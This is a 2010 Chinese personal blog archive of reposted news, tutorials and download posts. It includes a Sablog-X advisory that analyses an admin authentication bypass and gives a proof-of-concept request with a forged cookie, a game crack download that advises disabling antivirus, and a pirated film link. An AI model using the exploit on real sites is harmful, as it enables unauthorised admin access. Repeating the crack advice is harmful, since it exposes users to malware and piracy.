傻猫网络日志

七成淘宝店主月收入1000~3000元

傻猫 — Mon, 15 Mar 2010 08:49:15 +0800

浙江义乌工商学院的8000名学生中，有1200人在淘宝开店创业，并有400多人已经实现了月入过3000元；校园内已形成一条电子商务供应链，还有多家快递公司进驻学院专门给这些创业学生提供快递服务。
根据淘宝网向中国青年报提供的《淘宝网2009年度社会责任报告》，去年，淘宝网创造了80.88万个直接就业机会，带动物流、支付、营销等产业链就业机会230.51万个。而在2008年，淘宝网创造了57万个直接就业机会，间接带动162.45万个就业岗位。仅一年时间，淘宝网就多创造了 23.88万个直接就业机会，增长率高达41.89％。

谈到淘宝网的故事，淘宝网总裁陆兆禧说：“淘宝是很多人实现有尊严生活的梦开始的地方。我们看到浙江义乌工商学院数以千计的大学生在淘宝上实现了就业创业；我们看到江苏的农民在没有任何资源可以借助的情况下，从无到有，在淘宝上做起了家具生意，让外出打工的年轻人都回到了家乡；我们还看到残疾人通过淘宝都发挥了各自特长，改变了自己和家人的生活。”

在陆兆禧看来，比起淘宝网一些创业英雄来说，数百万平凡的店主对社会的贡献更大、更有意义。统计显示，淘宝店主中，按照收入水平分布，41.04％的人月收入在1000~2000元，20.95％的人月收入在2000~3000元，6000元以上的只有3.42％。“淘宝上创业主要解决的是基本就业，而不是高收入群体。”陆兆禧说，虽然七成淘宝店主月收入在1000~3000元，但这是“淘宝真正的价值所在”。

网商的崛起，不仅催生了一系列新职业，也加速了传统产业的发展。以现在的网店来说，围绕卖家和买家产生了网店装修工、网拍师、网店模特、淘宝客、网络钟点工、网货砍价师、代购、代秒等等，这些薪酬不等、靠网络时代的智慧发展出来的“非正规职业”，正越来越流行。

“2007年申通涉足淘宝业务，第一个月从淘宝拿到的单子是每天4万件，现在已经达到每天50万~60万件。”申通快递有限公司CEO奚春阳的感慨一点没让陆兆禧感到意外，来自淘宝网的物流指数数据显示，去年上半年淘宝网快递包裹数已超过3亿件，物流业务覆盖全国90％以上市、县，达到2999 个。

谈到淘宝网的快速发展，陆兆禧说：“怎么将企业发展的诉求和社会发展的诉求取得最大的一致，是一个企业成功的关键；一个不能将社会责任融入经营行为中的企业，是不会获得持续发展的。”

《中国青年报》

微软承认为Excel发布了一个错误的安全补丁

傻猫 — Mon, 15 Mar 2010 08:48:20 +0800

据国外媒体报道，微软已经被迫承认它为Excel软件发布的一个安全补丁存在错误，造成某些用户的显示屏上出现了非英语文本。
微软工程师在Office Sustained Engineering博客中说，这是微软星期二发布的安全补丁引起的一个“装饰性错误”。这个帖子说，微软已经收到一些Excel 2003和Excel 2002的用户的报告。他们在安装了编号为KB978471或者KB978474的补丁之后，他们在“增加或删除程序”工具或者“程序和属性--> 安装的更新”窗口(Vista, Win7)看到非英文文本。

这个更新的题目的文本是用简体中文显示出来的。重要的是这个装饰性问题不影响这个更新的功能。在这个安全公告(MS10-017)中的全部安全补丁都包括在这个更新中。

微软告诉受影响的用户称，有两个步骤可以绕过这个问题：首先，用户必须卸载这个更新，然后从微软下载中心按照链接安装一个正确版本的更新。

在这个消息出现的前一天，微软承认使用Windows Server 2008 R2和使用带终端服务的Windows Server 2008的用户在安装了编号为KB977724的非安全补丁之后会遇到Office应用程序崩溃的问题。微软也在这个播客中提供了解决这个问题的热补丁。

韩寒:《他是一个好干部》

傻猫 — Thu, 04 Mar 2010 20:23:10 +0800

最近广西烟草部门韩峰局长的日记很热门，我认为在艳照和视频充满网络的年代里，突然来一些真人纯文学的描写，如沐春风。这应该是2010年最具文学价值和社会价值的文学作品了。我看了局长日记以后，觉得我们不应该讨伐这位局长。我们假设局长日记日记是真的，我敢说这其实是一位好干部。

1，这位干部在半年的时间内仅仅受贿6万元，这是我近几年第一次看见受贿两次后面跟的是一个5位数，现在哪里去找这么清廉的局长。

2，在他已玩，正玩，稳定的玩和待玩的那些床伴中，无一人属于包养性质。

3，这位局长不赌博，不嫖娼。在公共场合办手机卡的时候按顺序排队，一排就是两个小时。

4，在他的日记里，我们看到了一个以最小的成本在泡妞的国家干部，在其他干部都送二奶房子车子的时候，他送给自己的女人最贵重的礼品仅仅是一个手机或者一个MP4。

5，他应酬喝酒仅89次，我知道的大部分的村干部一年喝酒应酬都要超过365次。但是他多次喝醉，酒量一般，这点没有达到一个国家干部的要求。

6，虽然他玩女人多次，但是陪老婆也有25次，给父亲购买手机，其中也没有发现利用职务之便给自己亲戚走过后门。

7，他会自己安装电脑软件，爱好数码，爱好摄影，爱好体育，用微博体写日记，属于一个比较与时俱进的领导。

8，在他的日记里，完全没有看到一个国家干部对于豪华汽车，房产奢侈品，书画古董收藏所表现出来的应有追求，甚至连个念想都没有，只是默默的玩着他的手机和电脑。在日记里，他甚至写道，今天买了一个160元的XX耳机，真好！多么知足常乐的干部。

9，至于工作方面……虽然尚且没有看出这位领导进行了任何的工作，但是所谓干部干部，只要干了自己的部下，也就完成了这个这个名词赋予的意义。

综上所诉，在现有的国情下，他绝对是一个标准线以上好干部，这样的干部属于自娱自乐容易满足型，对国家和人民造成的危害是最小的。我们看到了一个仅仅几个千把块钱就能让他乐不思蜀的国家干部，当他买了一部手机后，连续三天的日记内容都是“在家玩手机”，连女人都不玩了。在他这个位置上，比他罪大恶极的干部多的是。我强烈的建议网名们放过这位干部，让他继续在他的工作岗位上研究他的数码产品，如果他下台了，接替他的人很可能比他对社会的危害要大很多，唯一的区别就是人家不写日记。

文章来源：http://bbs.meizu.com/thread-1612058-1-1.html

pppoe客户端自动拨号原理及实现

傻猫 — Wed, 03 Mar 2010 14:05:28 +0800

家庭上网大多采用ADSL拨号上网，很多人使用ADSL网络提供商的拨号软件，可这些软件广告太多，并且还公窃取你的上网习惯等信息，所以可以使用XP自带的拨号软件。一般的XP下ADSL拨号操作如下：开始－附件－通讯－新建连接向导－连接到Internet－手动设置我的连接－用要求用户名和密码的宽带连接来连接，ISP名称随便填写，用户名和密码填写网络服务提供商提供的信息，连接建立好后会在桌面上建立上一个拨号的快捷方式，上网前双击它即可上网。

对于一个家庭用户来说，双击桌面上的连接快捷方式上网并不感觉很麻烦。可是对于小区宽带管理员来说，经常给用户解释怎么新建立ADSL连接还是不方便。可不可以建立一个文件代替上面建立连接的冗长的过程呢？确实可以。

实际上，拨号的过程是由XP中的rasphone.exe程序调用rasphone.pbk配置文件来完成的，我们上面建立连接的过程就是修改rasphone.pbk配置文件的过程。根据这个原理，我们完全可以由管理员建立一个rasphone.pbk文件，然后用户拷回去后直接双击并填写用户名和密码即可拨号，从而避免了建立拨号连接的冗长的过程。

下面就是一个典型的rasphone.pbk配置文件的内容：
－－－－－－－－－－－－－不含此分割线－－－－－－－－－－－－－－－－－－－－
[adsl]
Encoding=1
Type=5
AutoLogon=0
UseRasCredentials=0
DialParamsUID=35169031
Guid=634FB3A1DDF5D14F9A87795DF822D9D0
BaseProtocol=1
VpnStrategy=0
ExcludedProtocols=3
LcpExtensions=1
DataEncryption=8
SwCompression=1
NegotiateMultilinkAlways=0
SkipNwcWarning=0
SkipDownLevelDialog=0
SkipDoubleDialDialog=0
DialMode=1
DialPercent=75
DialSeconds=120
HangUpPercent=10
HangUpSeconds=120
OverridePref=15
RedialAttempts=3
RedialSeconds=60
IdleDisconnectSeconds=0
RedialOnLinkFailure=1
CallbackMode=0
CustomDialDll=
CustomDialFunc=
CustomRasDialDll=
AuthenticateServer=0
ShareMsFilePrint=0
BindMsNetClient=0
SharedPhoneNumbers=0
GlobalDeviceSettings=0
PrerequisiteEntry=
PrerequisitePbk=
PreferredPort=
PreferredDevice=
PreferredBps=0
PreferredHwFlow=0
PreferredProtocol=0
PreferredCompression=0
PreferredSpeaker=0
PreferredMdmProtocol=0
PreviewUserPw=1
PreviewDomain=0
PreviewPhoneNumber=0
ShowDialingProgress=1
ShowMonitorIconInTaskBar=1
CustomAuthKey=-1
AuthRestrictions=632
TypicalAuth=1
IpPrioritizeRemote=1
IpHeaderCompression=0
IpAddress=0.0.0.0
IpDnsAddress=0.0.0.0
IpDns2Address=0.0.0.0
IpWinsAddress=0.0.0.0
IpWins2Address=0.0.0.0
IpAssign=1
IpNameAssign=1
IpFrameSize=1006
IpDnsFlags=0
IpNBTFlags=0
TcpWindowSize=0
UseFlags=1
IpSecFlags=0
IpDnsSuffix=

NETCOMPONENTS=
ms_server=0
ms_msclient=0

MEDIA=rastapi
Port=PPPoE6-0
Device=WAN 微型端口 (PPPOE)

DEVICE=PPPoE
PhoneNumber=
AreaCode=
CountryCode=1
CountryID=1
UseDialingRules=0
Comment=
LastSelectedPhone=0
PromoteAlternates=0
TryNextAlternateOnFail=1

－－－－－－－－－－－－－不含此分割线－－－－－－－－－－－－－－－－－－－－
说到这里我们怎么让拨号自动完成呢，也就是不用人为双击拨号不用填写用户名和密码，让拨号随系统启动而自动完成呢？

这里又要说到另一个XP自带的拨号程序rasdial.exe程序，这个程序和rasphone.exe的都是用来拨号的，并且都是调用读取rasphone.pbk配置文件，但rasdial是命令行拨号工具，而rasphone是图形化拨号工具。为了完成自动拨号，我们还是使用命令行拨号工具rasdial比较方便。

下面这行命令就是命令行下的拨号命令，把这个命令写入rasphone.bat脚本文件，并把rasphone.bat和上面提到的rasphone.pbk文件放到同一个目录中，并让rasphone.bat随系统自启动，即可实现拨号的自动实现。

－－－－－－－－－－－－－不含此分割线－－－－－－－－－－－－－－－－－－－－
rasdial adsl pppuser001 ppppassword001 /phonebook:rasphone.pbk
－－－－－－－－－－－－－不含此分割线－－－－－－－－－－－－－－－－－－－－

命令中“adsl”是拨号连接名称，此名称要与rasphone.pbk中的第一行中标识的连接名称相同。pppuser001和ppppassword001分别是拨号的用户名和密码，各用户要做适当修改。

总结：自动拨号的实现需要3个文件，其中rasdial.exe、rasphone.pbk、rasphone.bat，其中rasdial.exe由XP自带。管理员只需要建立两个文件rasphone.pbk和rasphone.bat，各文件内容见上文详述。把rasphone.pbk和rasphone.bat放在同目录中，并让rasphone.bat自启动即可。

《星际争霸2》测试版程序下载（地图已破解可以玩）

傻猫 — Mon, 01 Mar 2010 22:34:59 +0800

关于种族问题，经测试，点重新开始即可更换种族，十分方便。
但不一定是人-虫-神这样的随机关系，有可能是人-虫-人-神。

测试地图国外下载地址：点此
测试地图rayfile下载地址：点此

游戏客户端下载地址：迅雷下载

游戏客户端更新包 StarCraft II Beta zhTW 13891 Installer.rar 分流地址
(必须要更新客户端，该破解程序才能有效使用，用官方自动更新出现游戏要重装或者无法更新的问题，也可以下载此分流包，然后解压直接覆盖原文件即可）

破解程序压缩包rayfile下载地址:点此

破解程序的国外种子下载地址

此破解程序只能加载新版本的地图，读取旧版本的地图将启动不了游戏

如果是WIN7 64位操作系统导致 lazylaunch.exe无法运行，请关闭你的杀毒软件！

使用方法：直接运行该程序，加载下载好的地图。
感谢论坛友人提醒：如果地图无法加载，请将你下载的地图，放在数字或英文路径下，不可有中文目录。

经大家反应，美版和台版都是支持的。

最后感谢LazyTown破解小组！也希望国内破解小组继续努力，在多人玩家模式上有新的突破！

文章来源：http://www.3dmgame.net/Article/2010-2/14490-1.htm

Sablog-X 2.X 后台管理权限欺骗漏洞

傻猫 — Mon, 01 Mar 2010 15:25:38 +0800

一描叙：
由于Sablog-x v2.x的后台认证过程存在严重的逻辑问题，导致构造特殊的cookie直接登录后台。

二分析 :

// cp.php

if (!$sax_uid || !$sax_pw || !$sax_logincount || !$sax_hash) {
// 只要这个条件不满足,就可以通过后台的权限验证了
loginpage();
}
...
if ($sax_group == 1) {
// 如果要获得管理员权限,还必须保证$sax_group的值为1
...

下面来看下这几个变量是怎么来的

// common.inc.php

list($sax_uid, $sax_pw, $sax_logincount) = $_COOKIE[''sax_auth''] ? explode("\t", authcode($_COOKIE[''sax_auth''], ''DECODE'')) : array('''', '''', '''');
// authcode()就是简单的调用base64_decode
$sax_hash = sax_addslashes($_COOKIE[''sax_hash'']);
// 这些变量来自$_COOKIE,是可以控制的:)
// 不过后面的代码在一定条件下会通过extract($_EVO)来重新注册这些变量

$sax_uid = intval($sax_uid);
$sax_pw = sax_addslashes($sax_pw);
$sax_logincount = intval($sax_logincount);
$sax_group = 4;
// 默认的值为4,而我们需要的值是1
$_EVO = array();
// 这里是fix那个变量覆盖的漏洞:)

$seccode = $sessionexists = 0;
$userfields = ''u.userid AS sax_uid, u.username AS sax_user, u.password AS sax_pw, u.groupid AS sax_group, u.logincount AS sax_logincount, u.email as sax_email, u.url as sax_url, u.lastpost, u.lastip, u.lastvisit, u.lastactivity'';
// 这里定义的字段包括sax_user、sax_pw、sax_group、sax_logincount,这些都是后台权限验证时要用到的
if ($sax_hash) {
if ($sax_uid && $sax_pw) {
// 流程[1]
// 这里会查询sax_group,但如果我们想让查询出的值为1[也就是说查询出管理员的信息],就必须知道管理员的sax_hash、sax_pw、sax_logincount等多个值
$query = $DB->query("SELECT s.hash, s.seccode, $userfields
   FROM {$db_prefix}users u
   LEFT JOIN {$db_prefix}sessions s ON (s.uid = u.userid)
   WHERE s.hash=''$sax_hash'' AND u.userid=''$sax_uid'' AND CONCAT_WS(''.'',s.ip1,s.ip2,s.ip3,s.ip4)=''$onlineip''
   AND u.password=''$sax_pw'' AND u.logincount=''$sax_logincount'' AND s.auth_key=''$sax_auth_key''");
} else {
$query = $DB->query("SELECT hash,uid as sessionuid,groupid,seccode,lastactivity FROM {$db_prefix}sessions WHERE hash=''$sax_hash'' AND CONCAT_WS(''.'',ip1,ip2,ip3,ip4)=''$onlineip'' LIMIT 1");
// 流程[2]
// 如果我们知道管理员的sax_hash和onlineip,就可以使下面的$_EVO[''sessionuid'']的值为管理员的id
}
if ($_EVO = $DB->fetch_array($query)){
$sessionexists = 1;
if($_EVO[''sessionuid'']) {
// 流程[3]
   $query = $DB->query("SELECT $userfields FROM {$db_prefix}users u WHERE u.userid=''".intval($_EVO[''sessionuid''])."''");
   $_EVO = array_merge($_EVO, $DB->fetch_array($query));
// 这里查询的数据会合并到$_EVO,而我们只要能控制$_EVO[''sessionuid'']的值为1[假设我们要查询的管理员id为1],就可以查询出正确的管理员信息,这样就可以保证sax_group的值为1了
   $sax_uid = $_EVO[''userid''];
}
} else {
if($_EVO = $DB->fetch_one_array("SELECT hash,groupid,seccode,lastactivity FROM {$db_prefix}sessions WHERE hash=''$sax_hash'' AND CONCAT_WS(''.'',ip1,ip2,ip3,ip4)=''$onlineip''")) {
   dcookies();
   $sessionexists = 1;
}
}
}
......
@extract($_EVO);

由上面的代码可以看到,如果我们知道session表中uid为1的数据的sax_hash和onlineip,通过流程[2][3]就可以查询出正确的管理员信息,再通过extract($_EVO)注册变量,就可以通过后台的验证,获得管理员权限了:)
那么我们如何知道正确的sax_hash和onlineip呢？

// global.func.php

function updatesession() {
...
replacesession(1);
...
}

function replacesession($insert = 0) {
...
$ips = explode(''.'', $onlineip);
...
$DB->query("INSERT INTO {$db_prefix}sessions (hash, auth_key, ip1, ip2, ip3, ip4, uid, groupid, lastactivity, seccode, is_robot) VALUES (''$sax_hash'', ''$sax_auth_key'', ''$ips[0]'', ''$ips[1]'', ''$ips[2]'', ''$ips[3]'', ''$sax_uid'', ''$sax_group'', ''$timestamp'', ''$seccode'', ''".IS_ROBOT."'')");
...

replacesession()函数为我们提供帮助,因为$sax_hash、$sax_uid、$onlineip这些变量是可以控制的,所以我们可以向session表中出入一条uid为1的数据:)

首先我们使$sax_uid为1,$sax_pw为空,这样就会跳过流程[1]执行流程[2],这时我们的sax_hash和onlineip在session表中并不存在,所以流程[3]不会执行,通过extract($_EVO)注册变量时也不会重新注册$sax_uid、$sax_hash和$onlineip,这样我们就可以通过updatesession()函数向session表中插入一条uid为1同时sax_hash和onlineip也是我们知道的数据了
然后我们重新执行上面的过程,因为这时session表里已经有了我们需要的数据了,流程[3]将被执行,user表中uid为1的管理员数据将被查询出并合并到$_EVO,并通过extract()重新注册变量[$sax_group的值将被重新注册为1],这样我们就可以通过后台权限验证,并获得管理员权限了:)

三利用 :

PoC:

GET /cp.php HTTP/1.1;
Host: 127.0.0.1
Connection: Close
Cookie: sax_auth=MQkJ;sax_hash=abcdef;

四补丁[fix]：

补丁和升级文档下载地址：http://www.sablog.net/blog/archives/498/

文章来源：http://www.sitedir.com.cn/exploit-1147.html

Delphi POS函数中文处理的问题

傻猫 — Mon, 01 Mar 2010 13:45:33 +0800

delphi漏洞 pos()函数的奇怪现象

edit1.Text := intToStr(pos('市',资中市'));
结果=5,正确.

edit1.Text := intToStr(pos('市','资兴市'));
结果=2 . -_-?

edit1.Text := intToStr(pos('市','湖南省郴州市资兴市'));
结果=11,正确.

edit1.Text := intToStr(pos('市','湖南省资兴市郴州市'));
结果=8 . -_-?

以上结果都进行调试过,有没高手知道为什么会这样的?

---------------------------------------------

因为“资”的后半部分加上“兴”的前半部分就是“市”。
s1:='资';
s2:='兴';
ShowMessage(s1[2]+s2[1]);

不是漏洞，是由于汉字由两个字节组成的，使用WideString就Ok了
试试看：
edit1.Text := intToStr(pos('市',WideString('资中市')));
//结果=3,正确.

edit1.Text := intToStr(pos('市',WideString('资兴市')));
//结果=3

联合国教科文组织授予成都

傻猫 — Mon, 01 Mar 2010 12:39:57 +0800

本报（台、网）讯记者昨日（28日）上午从联合国教科文组织和成都市人民政府举行的新闻发布会上获悉，近日，联合国教科文组织正式批准成都加入该组织的创意城市网络，并授予成都美食之都称号。这标志着成都成为亚洲第一个世界美食之都，这也是联合国教科文组织批准的全球创意城市网络第20名会员和加入该网络的第二个中国城市。

　　中国联合国教科文组织全国委员会秘书长方茂田，联合国教科文组织北京办事处主任辛格，中国常驻联合国教科文组织代表团副代表张双鼓，商务部商贸服务管理司司长邸建凯，成都市人民政府副市长、成都市申请加入联合国教科文组织创意城市网络和申报美食之都称号工作领导小组副组长王忠林等出席新闻发布会。

　　据了解，联合国教科文组织创意城市网络，由联合国教科文组织于2004年发起建立，是世界创意产业领域最高级别的非政府组织。该网络旨在提升发达国家和发展中国家城市的社会、经济和文化发展，设定美食之都、文学之都、电影之都、音乐之都、设计之都、媒体艺术之都、民间艺术之都等七种称号，每一种称号都有相应严格国际标准。

　　辛格在新闻发布会上宣读了联合国教科文组织总干事伊琳娜·博科娃致成都市人民政府市长葛红林的确认信。

　　方茂田代表中国联合国教科文组织全国委员会对成都市表示热烈祝贺！他说，成都获得这一殊荣，不仅是成都市的荣誉，也是中国的荣誉。这是成都致力于世界文化多样性保护的结果。成都市被联合国教科文组织授予美食之都称号，标志着成都正式成为创意城市网络大家庭的一员，有利于成都的美食文化和创意文化进一步走向世界，有利于在全球范围内进一步扩大交流和成功展示，进而不断提高成都的城市创新能力和国际影响力。

　　方茂田说，成都是我国的历史文化名城，传承了悠久的城市遗产，成都的美食是其中重要的组成部分，美食已经成为成都一张闪亮的名片，让越来越多的人感受到这座城市浓厚的文化底蕴和魅力。食在中国，味在四川。作为川菜的发源地和发展中心，成都已逐步成为全球最重要的美食中心之一。成都拥有中国和世界范围内的数十项第一，其中包括中国最早的酿酒工厂，最早的茶文化中心、中国第一个菜系产业基地和第一个菜系博物馆。对于成都来说，美食就是创意的代名词。

　　王忠林表示，获得美食之都称号是成都坚持创意创新、大力发展美食产业的结果，将为成都搭建一个国际合作交流的平台和创建一个城市营销推广的品牌，进一步加快成都文化创意产业整体发展，进而对成都城市未来发展产生积极影响。成都将把维护和提升美食之都品牌作为长期的重任，着力建设六大基地和一高地：一是加快建设餐饮总部基地，促进餐饮业高端化；二是加快建设营销推广基地，促进餐饮业品牌化；三是加快建设文化交流基地，促进成都餐饮产业国际化；四是加快建设产业发展基地，促进餐饮业连锁化；五是加快建设教育培训基地，促进餐饮业现代化；六是加快建设研究开发基地，促进餐饮业标准化；七是加快建设美食融汇高地，促进餐饮业多样化。

　　邸建凯在会上致辞，对成都市被联合国教科文组织正式认定为美食之都表示祝贺。

　　另据了解，根据联合国教科文组织创意城市网络的成员义务和责任，成都市商务局制定了建设美食之都工作方案（2010-2012年）。根据该方案，成都将加快川菜的标准化、规模化、产业化和国际化进程，实现成都餐饮业年均营业额增长19%以上、年营业额总量突破550亿元，同时加快引进中外美食项目，建成3大美食功能区（特色美食街区与古镇、旅游景区游客集散地、大型商业中心和社区）和7大基地，形成餐饮产业蓬勃发展与中外美食在成都交相辉映的国际美食高地。

　　背景资料一

　　新闻背景：联合国教科文组织创意城市网络

　　联合国教科文组织创意城市网络，由联合国教科文组织于2004年发起建立，是世界创意产业领域最高级别的非政府组织。该网络旨在提升发达国家和发展中国家城市的社会、经济和文化发展，设定美食之都、文学之都、电影之都、音乐之都、设计之都、媒体艺术之都、民间艺术之都等七种称号，每一种称号都有相应严格国际标准。其中，美食之都的主要标准有八个方面：城市中心地区有高度发达的美食行业；拥有活动积极的美食机构、大量传统餐厅和厨师；拥有本国特有的传统烹饪配料；拥有在工业时代科技进步情况下依然留存的当地烹饪诀窍、方式和方法；拥有传统食品市场和食品产业；举办过美食节、烹饪比赛、相关奖项等活动；尊重当地传统产品的生产氛围，注重促进其可持续发展；注重提高公众对传统美食的关注程度，在烹饪学校推广关于传统烹饪和保护烹饪方式多样性的课程。

　　目前，世界上已经有19个城市加入了联合国教科文组织创意城市网络。其中，设计之都有德国的柏林、阿根廷的布宜诺斯艾利斯、加拿大的蒙特利尔、日本的名古屋、神户、中国的深圳等城市，民间艺术之都有美国的圣达菲，媒体艺术之都有法国的里昂，文学之都有英国的爱丁堡、澳大利亚的墨尔本、美国的爱荷华，音乐之都有意大利的博洛尼亚、西班牙的塞维利亚等。基于创意城市网络在世界创意产业领域的特殊地位和作用，各国政府和城市都踊跃地申报加入网络成员。

文章来源：http://edu.qq.com/a/20100301/000001.htm

2010最新大片《花田囍事2010》DVD下载

傻猫 — Sun, 28 Feb 2010 20:29:37 +0800

◎简　　介　

　　花田国国王把妹妹遗珠公主送到中原学习礼仪多年，太后忆女成疾，为给母后冲喜，国王决定接回公主并替她招亲。不想公主早已在中原与大将军麦炳荣私定终身，两人欲求得国王成全，一同坐船回国。正当两人于船头你侬我侬时，不识趣的侍卫却报告有人投海，麦炳荣在心上人面前自是极力表现，当场救起落水女子黄莺，公主也脱下身上外套替她盖上取暖。

　　恰在此时，船队突遇海盗“索玛丽”袭击，混战中公主落水失踪，麦炳荣伤心欲绝，四处打探寻找，甚至不惜化名偷渡入境。机缘巧合下结识“暴力书生”吴上进，相谈甚欢，当晚便入住吴府，不想遗珠竟也在这里，只是对他已视同陌路。

　　原来遗珠落水后被黄莺之父黄百万救起，黄找不到亲生女儿，便移花接木，带着失忆的遗珠前往投靠指腹为婚的准亲家吴尚书。在吴府，破产的黄百万受到尚书胞妹--生性野蛮、为人势利的吴温柔的百般刁难，吴上进也因赴考途中在名牌包包店中邂逅了心仪女子而拒绝履行婚约。

　　而黄莺反被当成公主接回宫，天性爱美的她在满屋名牌服装搭配诱惑下默默接受了自己的“身份”，亦答应为太后冲喜，遴选驸马。

　　一场比武招亲大会，在“武痴”国王的干涉下笑料百出，真公主被逼与假公主洞房，两位"真命天子"无奈联手闯宫劫人，吴温柔更与国王爆出“私情”，黄百万顶上了“谋权夺位”的罪名……

◎译　　名　花田囍事2010/花田喜事/花田喜事2010
◎片　　名　Alls Well Ends Well Too
◎年　　代　2010
◎国　　家　中国香港
◎类　　别　古装/喜剧
◎语　　言　普通话
◎字　　幕　中文
◎文件格式　DVD-RMVB
◎视频尺寸　608 x 336
◎文件大小　1CD
◎片　　长　89 mins
◎导　　演　黄百鸣 Bak-Ming Wong
　　　　　　邱礼涛 Herman Yau
◎主　　演　古天乐 Louis Koo
　　　　　　黄百鸣 Bak-Ming Wong
　　　　　　吴君如 Sandra Ng
　　　　　　郑中基 Ronald Cheng
　　　　　　熊黛林 Lynn Hung
　　　　　　杨颖 Angela Baby
　　　　　　林子聪 Chi Chung Lam
　　　　　　田蕊妮 Kristal Tin
　　　　　　林雪 Suet Lam
　　　　　　李香琴 Heung Kam Lee
　　　　　　夏春秋 Chun Chau Ha
　　　　　　潘粤明 Yueming Pan....Ng Sheung Chun

2010最新大片《花田囍事2010》DVD下载：立即下载

发生在家门口的杯具

傻猫 — Fri, 26 Feb 2010 08:41:15 +0800

本报讯（记者刘婷摄影卢祥龙）金黄色的暖阳照耀在34岁的李华康身上，但他再也无法感觉到温暖。闻讯赶来的妻子，哀嚎之后，伏在他的身上，久久不愿离去。昨日下午3时许，在五桂桥北路8号水岸华庭为业主装修时，李华康从23楼坠下，当场身亡……

小区业主辛先生称，事情发生在下午3时许，当时听到楼上楼下都有人在叫，抬头一看，人已经在半空中了。

下午4时许，死者的妻子闻讯赶来，声声哀嚎让人动容。她伏在丈夫的身上，久久不愿离开。

死者的亲属周毅科称，死者叫李华康，大约34岁，家中还有两个孩子，小儿子才两岁多。李做塑钢窗、玻璃等有10多年了，平时很仔细。昨日中午一时许，他还给李打电话，邀约去龙泉看桃花，但李拒绝了。昨日，李是被亲属叫来帮忙，帮业主安玻璃门的。而那名亲属，已到派出所接受调查。

成华区安监局、辖区派出所、成华刑大、所属街道办事处工作人员等都赶到现场，并和业主等人开会调查此事，一直到下午6时许才结束。成华区安监局工作人员告诉记者，目前，公安机关正对此事进行调查。但他们了解到，业主属于自装。

该小区物业经理李军平表示，当事业主已经入住，当时请工人在家中阳台上为封阳台的玻璃打胶。下午3时许，这名工人说头有些晕，业主便叫他进屋，这名工人把工具递了进去，人却坠下了楼。李经理表示，有个重要的情况是，事发时，工人李华康正在进行高空作业，但没有采取系安全绳等保护措施。他称，由于事发业主报的是自装，因此物业对此事没有责任。

对于昨日发生的事情，当事业主不愿回应。

PS:该事故为傻猫亲眼所见，当时风有点大，听见“啊啊啊”的几声后，然后“咚”的一声，出来一看，发现地上已经倒着一个人，鲜血把旁边的水沟都染红了，血的教训啊，安全生产，安全第一。。

文章来源：http://e.cdqss.com/html/2010-02/26/content_120255.htm